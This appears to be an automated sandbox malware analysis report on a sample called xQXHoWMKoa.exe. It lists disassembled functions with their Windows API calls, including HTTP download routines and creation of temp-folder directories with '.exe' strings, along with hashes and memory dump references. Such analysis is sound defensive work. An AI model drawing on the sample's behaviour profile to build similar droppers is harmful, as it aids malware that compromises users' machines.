Part of subcall function 036514C2: HeapFree.KERNEL32(00000000,00000000,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?), ref: 036514D8
Part of subcall function 036514C2: GetLastError.KERNEL32(?,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?,?), ref: 036514EA

_free.LIBCMT ref: 03650EB1
_free.LIBCMT ref: 03650EBC
_free.LIBCMT ref: 03650EC7
_free.LIBCMT ref: 03650ED2
_free.LIBCMT ref: 03650EDD
_free.LIBCMT ref: 03650EE8
_free.LIBCMT ref: 03650EF3
_free.LIBCMT ref: 03650EFE
_free.LIBCMT ref: 03650F0C

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction ID: 2ccecfecb57742741c8f8b989912b55b9d9a660de6cc1688d0cd0b5f153c8463
Opcode Fuzzy Hash: 6169125313e151299e838c55eab60358d29eaae796496bf1b255aadfab8948fd
Instruction Fuzzy Hash: B921BA7A900208AFCF41EF94C840DDE7BB9BF09344F0055AAF9199F520DB71EA48CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC91 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,00414446), ref: 0041ACAA

Strings

log10, xrefs: 0041ACEC, 0041ACFB
exp, xrefs: 0041AD29, 0041AD8E
pow, xrefs: 0041AD48, 0041ADF2, 0041AE3F
log, xrefs: 0041AD07, 0041AD16
acos, xrefs: 0041ADE0
sqrt, xrefs: 0041ADE9
asin, xrefs: 0041ADD7

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 66e460ef18c7cf41edcbb915d46ed8d766cc47b0d4a94312d922ad545180dc80
Instruction ID: ad6360502c0488f750b27f8fb93aaf02fa721c93ca9c08d05312bd6d5e0ae066
Opcode Fuzzy Hash: 66e460ef18c7cf41edcbb915d46ed8d766cc47b0d4a94312d922ad545180dc80
Instruction Fuzzy Hash: E1517C70901A1ACBCB108F99F9481EEBFB6FB45305F508057D880A6665CB7C89B6CB4F

Uniqueness

Uniqueness Score: -1.00%

Function 0041743D Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004174AB
_free.LIBCMT ref: 004174B7
_free.LIBCMT ref: 004175E0
_free.LIBCMT ref: 004175EB

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction ID: 62d46b75d0a2d68c1cf99883932cb92cc8c473006f14587f2c16db2dd75d90f6
Opcode Fuzzy Hash: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction Fuzzy Hash: F661E471904305AFD720DF65C881BEBB7FAEF44710F20446BE95AEB241EB789D818B54

Uniqueness

Uniqueness Score: -1.00%

Function 036576A4 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 03657712
_free.LIBCMT ref: 0365771E
_free.LIBCMT ref: 03657847
_free.LIBCMT ref: 03657852

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction ID: 5a158ebea929f77dc00285ec32e126911c1418c2bfec73b4748cf0076dd50158
Opcode Fuzzy Hash: ebcd49dd6a13ac54e4da0b58e67ef295cf3b1b7f9df17644648b00cb4ddb4a3d
Instruction Fuzzy Hash: FE61B076A00305AFDB21DF68C940BAABBE8AF45710F14457DFD55EB381EB70A901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 03641FD7 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 311networkCOMMON

Download Yara Rule

APIs

__cftof.LIBCMT ref: 03642147
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 03642162
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 03642185
InternetConnectA.WININET(00000000,00000000,00000050,?,?,00000003,00000000,00000001), ref: 036421A6
HttpOpenRequestA.WININET(00000000,004277DC,00000000,00000000,00000000,00000000,80400000,00000001), ref: 036421D7
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 036421F2

Part of subcall function 03641FD7: InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 03641B7C
Part of subcall function 03641FD7: InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 03641B9B
Part of subcall function 03641FD7: HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 03641C2F

Strings

Oa, xrefs: 03641DA4

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Internet$Http$FileOpenRequest$ConnectInfoOptionPointerQueryReadSend__cftof
String ID: Oa
API String ID: 3409182146-2842007192
Opcode ID: b33b3fcec9cc372dc0496a1f43d28b0db310f4c99a0ff0127a20882e912defc9
Instruction ID: 77539bcaa8b6c1698d084439d58f685fc188dd623ee88dcc0608af5be24084a3
Opcode Fuzzy Hash: b33b3fcec9cc372dc0496a1f43d28b0db310f4c99a0ff0127a20882e912defc9
Instruction Fuzzy Hash: 51A1B571E00208AFDB14DFA8DC94BEEBBB5EF44710F248619E911BB280D7759945CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004166A7 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004166D1
_free.LIBCMT ref: 004167AA
_free.LIBCMT ref: 004167D7

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction ID: 8e74faf7002be57bf6f2fd9f0c469618525a6246d933c4169d22536521fd430b
Opcode Fuzzy Hash: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction Fuzzy Hash: 6E510871905305AFDB20BF759881AEE7BA4EF41318B12417FE910A7281DB39C9C58B9D

Uniqueness

Uniqueness Score: -1.00%

Function 0365690E Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 03656938
_free.LIBCMT ref: 03656A11
_free.LIBCMT ref: 03656A3E

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction ID: 32f1bc8ab1272d8122ebe88749987bd43476f7f389976cf36e9e01949d52bff5
Opcode Fuzzy Hash: f92bb1e09f75f24be055b281814dd1d40c8c11941d02d87547bbde2c6be35149
Instruction Fuzzy Hash: 9A519175B04345AFDB20EF78C980A6ABBB8EF41314F88A17EFD149B280DB718551CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00407A99 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00407AE2
__alloca_probe_16.LIBCMT ref: 00407B0E
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00407B4D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00407B6A
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00407BA9
__alloca_probe_16.LIBCMT ref: 00407BC6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00407C08
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00407C2B

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 9e62329a74614f329484a612d697a3e52236dc5b81e0e16222447d21e1e7e0be
Instruction ID: 045993c81a832b78f6ff1f4b0ec674b17b3dc119d98eacad835befa64c368bd9
Opcode Fuzzy Hash: 9e62329a74614f329484a612d697a3e52236dc5b81e0e16222447d21e1e7e0be
Instruction Fuzzy Hash: DE51B372908116AFEB205F50CC45FAB3BB9EF44748F15443AF904B62D0D739AD11CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0364818B Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042B3A4,00000FA0,?,?,03648169), ref: 03648197
GetModuleHandleW.KERNEL32(0041DFE0,?,?,03648169), ref: 036481A2
GetModuleHandleW.KERNEL32(0041E024,?,?,03648169), ref: 036481B3
GetProcAddress.KERNEL32(00000000,0041E040), ref: 036481C5
GetProcAddress.KERNEL32(00000000,0041E05C), ref: 036481D3
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,03648169), ref: 036481F6
RtlDeleteCriticalSection.NTDLL(0042B3A4), ref: 03648212
CloseHandle.KERNEL32(0042B3A0,?,?,03648169), ref: 03648222

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction ID: 1b7798db39fbb01a7ed5d528da6126d54123603bc5176252cbdf4a6a21fdc5ba
Opcode Fuzzy Hash: 3afd87156110544aab6276892685be635895f3eea0f680a35fae2ea3849afc99
Instruction Fuzzy Hash: 410192B0F40622AFC7209B61AD08BA63F98EB09745B594026FD09D3250DB79C40287AD

Uniqueness

Uniqueness Score: -1.00%

Function 03643767 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,0042A018), ref: 036437F1
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000001), ref: 036439BA
GetTempPathA.KERNEL32(00000104,?,?,004278D4,00000001,00000000,00000001), ref: 036439E7
CreateDirectoryA.KERNEL32(00000000,00000000,?,004278D4,00000001,00000000,00000000,00000001), ref: 03643BC5

Strings

L]Z\, xrefs: 036443FA
.exe, xrefs: 03643E76, 03643E8A

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CreateDirectoryPath$FolderTemp
String ID: .exe$L]Z\
API String ID: 13841269-283220038
Opcode ID: 04d3ffee8056e23d3363862439cdabd04da35a94cae088dcdb75c44c2188972e
Instruction ID: 914d23aad23e409c78085f54837522cab7127dd126ab1ce46ed9c293d6a94600
Opcode Fuzzy Hash: 04d3ffee8056e23d3363862439cdabd04da35a94cae088dcdb75c44c2188972e
Instruction Fuzzy Hash: 87E1DF75E002589BDB28DF28CC88BADBBB5EF45300F2482D9D409AB391DB759AD4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405400 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00403050: ___std_exception_copy.LIBVCRUNTIME ref: 004030DF

std::locale::_Init.LIBCPMT ref: 0040550E

Part of subcall function 00407416: __EH_prolog3.LIBCMT ref: 0040741D
Part of subcall function 00407416: std::_Lockit::_Lockit.LIBCPMT ref: 00407428
Part of subcall function 00407416: std::locale::_Setgloballocale.LIBCPMT ref: 00407443
Part of subcall function 00407416: _Yarn.LIBCPMT ref: 00407459
Part of subcall function 00407416: std::_Lockit::~_Lockit.LIBCPMT ref: 00407499

Part of subcall function 00405D70: std::_Lockit::_Lockit.LIBCPMT ref: 00405DA6
Part of subcall function 00405D70: std::_Lockit::_Lockit.LIBCPMT ref: 00405DC9
Part of subcall function 00405D70: std::_Lockit::~_Lockit.LIBCPMT ref: 00405DE9
Part of subcall function 00405D70: std::_Lockit::~_Lockit.LIBCPMT ref: 00405E63

std::locale::_Init.LIBCPMT ref: 004055D1
Concurrency::cancel_current_task.LIBCPMT ref: 004056E8
Concurrency::cancel_current_task.LIBCPMT ref: 004056ED

Part of subcall function 00401670: ___std_exception_copy.LIBVCRUNTIME ref: 004016AE

Strings

`\@, xrefs: 0040545F
Z@, xrefs: 004055B4

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::_$Concurrency::cancel_current_taskInit___std_exception_copy$H_prolog3SetgloballocaleYarn
String ID: `\@$Z@
API String ID: 591049177-1951323669
Opcode ID: 34c9f51a2e32d7935480c6f65c831b0e7182bab9311ff13d0590eafd755f688a
Instruction ID: e0c124fb8473088db41e93e823f42bbfa6e654b079ae24bd55585f3ff2e4fed9
Opcode Fuzzy Hash: 34c9f51a2e32d7935480c6f65c831b0e7182bab9311ff13d0590eafd755f688a
Instruction Fuzzy Hash: 4DA134B0A00605DFDB00CF55C594B9ABBF0FF09304F1485AAE808AF792D7BAA944CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C20 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00402CA3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00402CEF
__Getctype.LIBCPMT ref: 00402D08
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00402D24
std::_Lockit::~_Lockit.LIBCPMT ref: 00402DB9

Strings

bad locale name, xrefs: 00402DD7

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1840309910-1405518554
Opcode ID: 3dc3348fa6665eb69c50da260a5416c241e4fada510a3812d4fefae7f47102fa
Instruction ID: 521a5c506aa32abf35a371aa3aec491995ea672d5ad7ed1dc5f5b637a1c2436e
Opcode Fuzzy Hash: 3dc3348fa6665eb69c50da260a5416c241e4fada510a3812d4fefae7f47102fa
Instruction Fuzzy Hash: EA5191B1D042589BDB10DFE5DD45B9EBBB8AF14304F14413AE804BB3C1E779AA04CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040AA27
___except_validate_context_record.LIBVCRUNTIME ref: 0040AA2F
_ValidateLocalCookies.LIBCMT ref: 0040AAB8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040AAE3
_ValidateLocalCookies.LIBCMT ref: 0040AB38

Strings

csm, xrefs: 0040AACD

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction ID: 966319c5c132bd8bd4a6a4c12a959da49c89f94429b79140b3e1eb370ccdc545
Opcode Fuzzy Hash: 8f8e251228443eed14cd416bef5f8e2c82130d9abc7c1c57839264c89e9358e2
Instruction Fuzzy Hash: 4B41B634A003189BCF10DF69C884A9EBBB5EF44314F14806AEC156B3D2D7399A65CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00415C15 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\xQXHoWMKoa.exe, xrefs: 00415C1A
h]A, xrefs: 00415C66

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\xQXHoWMKoa.exe$h]A
API String ID: 0-1616857365
Opcode ID: 7f7f3462537e971ce76854522380655e7add2651e43c34bc36142944cdff18d4
Instruction ID: 45612b1d64fd260540ba2b052f4bac491d94d0f203439602371bd5a1426b9561
Opcode Fuzzy Hash: 7f7f3462537e971ce76854522380655e7add2651e43c34bc36142944cdff18d4
Instruction Fuzzy Hash: EE219871600705EFDB209F618C819EB77ADAF84368720462AF919E6291F739EC8197D8

Uniqueness

Uniqueness Score: -1.00%

Function 0041146B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 004114D6
api-ms-, xrefs: 004114C2

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction ID: 4f46a66ffc02d64564e769461b8701469a3c5ddef2bd61c1abff7f2e40a9828d
Opcode Fuzzy Hash: 129cbb2c69f00aee2ade31a09bffe59ed12de1c91300b81d07dce6b1e3195e12
Instruction Fuzzy Hash: 7D21DB71E01221B7CB318B289C45ADB37599B45B64F250122EE07AB3B1E738ED4185E9

Uniqueness

Uniqueness Score: -1.00%

Function 004178FF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041764B: _free.LIBCMT ref: 00417670

_free.LIBCMT ref: 0041794D

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 00417958
_free.LIBCMT ref: 00417963
_free.LIBCMT ref: 004179B7
_free.LIBCMT ref: 004179C2
_free.LIBCMT ref: 004179CD
_free.LIBCMT ref: 004179D8

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction ID: b263717b2ee302d070426abb39806d9dd9f29001171d9790ca4b07c3447dbd31
Opcode Fuzzy Hash: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction Fuzzy Hash: EF118171584B04AAD620B7B6CD47FCB77BD6F44714F804C1EB39FA60A2DA3CB5844A58

Uniqueness

Uniqueness Score: -1.00%

Function 03657B66 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 036578B2: _free.LIBCMT ref: 036578D7

_free.LIBCMT ref: 03657BB4

Part of subcall function 036514C2: HeapFree.KERNEL32(00000000,00000000,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?), ref: 036514D8
Part of subcall function 036514C2: GetLastError.KERNEL32(?,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?,?), ref: 036514EA

_free.LIBCMT ref: 03657BBF
_free.LIBCMT ref: 03657BCA
_free.LIBCMT ref: 03657C1E
_free.LIBCMT ref: 03657C29
_free.LIBCMT ref: 03657C34
_free.LIBCMT ref: 03657C3F

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction ID: f90cf138d3af8d636a03334ad2ee0d8965a2c0fd1fcb80cc00ed3d9aaa6626b7
Opcode Fuzzy Hash: 61036d7aeaef37f1c680bc47d5045128d619a2fd0ad25181c7ff71de37bec48b
Instruction Fuzzy Hash: A0110A75641B04AAEA20FBB0CC05FCB77DCAF05701F808C3DFA9EAA150DB65B9499664

Uniqueness

Uniqueness Score: -1.00%

Function 00419BD0 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 00419C18
__fassign.LIBCMT ref: 00419DFD
__fassign.LIBCMT ref: 00419E1A
WriteFile.KERNEL32(?,00411BE3,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00419E62
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419EA2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00419F4A

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 0c6a5a62ce738641f908a23bb90302666ca3cbc272c8c65bde6dc86afd222d28
Instruction ID: f79c40bb9f0dc0ab6f4f58e5de5b62f30820cb7fcfbecd81f5f7db26c050ad02
Opcode Fuzzy Hash: 0c6a5a62ce738641f908a23bb90302666ca3cbc272c8c65bde6dc86afd222d28
Instruction Fuzzy Hash: 5FC19D71D002589FCB14CFA9C8909EDBBB9EF48314F28816AE859F7341D6359D86CF68

Uniqueness

Uniqueness Score: -1.00%

Function 03659E37 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 03659E7F
__fassign.LIBCMT ref: 0365A064
__fassign.LIBCMT ref: 0365A081
WriteFile.KERNEL32(?,03651E4A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0365A0C9
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0365A109
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0365A1B1

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 3e9858eaf453cbacb894007cafb2a747459822b7a0404a45f6be23a00002c615
Instruction ID: 6cc3c62c6df141f0834f38e62d2cc0eb7ca9b15ef0abb3eb17217032385fdb9f
Opcode Fuzzy Hash: 3e9858eaf453cbacb894007cafb2a747459822b7a0404a45f6be23a00002c615
Instruction Fuzzy Hash: 56C18C75D002589FCB25CFE8D9809EDFBB9EF08314F28826AE855BB341D7319946CB64

Uniqueness

Uniqueness Score: -1.00%

Function 03647D00 Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 03647D49
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 03647DB4
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03647DD1
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 03647E10
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03647E6F
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 03647E92

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 3e88c3b581f8d23929991033493ddcb70d3b666889250b0ca2b5a92902153281
Instruction ID: fd7b8e8383ab851fc007b7c98c20e60b932121c6c8699b0b08f9b03ecd885342
Opcode Fuzzy Hash: 3e88c3b581f8d23929991033493ddcb70d3b666889250b0ca2b5a92902153281
Instruction Fuzzy Hash: F4519E72D1020AAFEB20DFA0CD45FAB7BBAEF44750F194629F9249A250D730DD11CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00405D70 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00405DA6
std::_Lockit::_Lockit.LIBCPMT ref: 00405DC9
std::_Lockit::~_Lockit.LIBCPMT ref: 00405DE9
std::_Facet_Register.LIBCPMT ref: 00405E4B
std::_Lockit::~_Lockit.LIBCPMT ref: 00405E63
Concurrency::cancel_current_task.LIBCPMT ref: 00405E86

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3669160774c0ae5cd0f0b74c7e79230e6d49860f7a9beebad74bacc13d85b54e
Instruction ID: 428a045f89a980e3aae625c1e15810528890a39a57655d698abf225f353de2ef
Opcode Fuzzy Hash: 3669160774c0ae5cd0f0b74c7e79230e6d49860f7a9beebad74bacc13d85b54e
Instruction Fuzzy Hash: BA31AA71E046198BCB20DF54D984AAFB7B1EB04324F55017EE805772D1DB38AE02CBCA

Uniqueness

Uniqueness Score: -1.00%

Function 03645FD7 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0364600D
std::_Lockit::_Lockit.LIBCPMT ref: 03646030
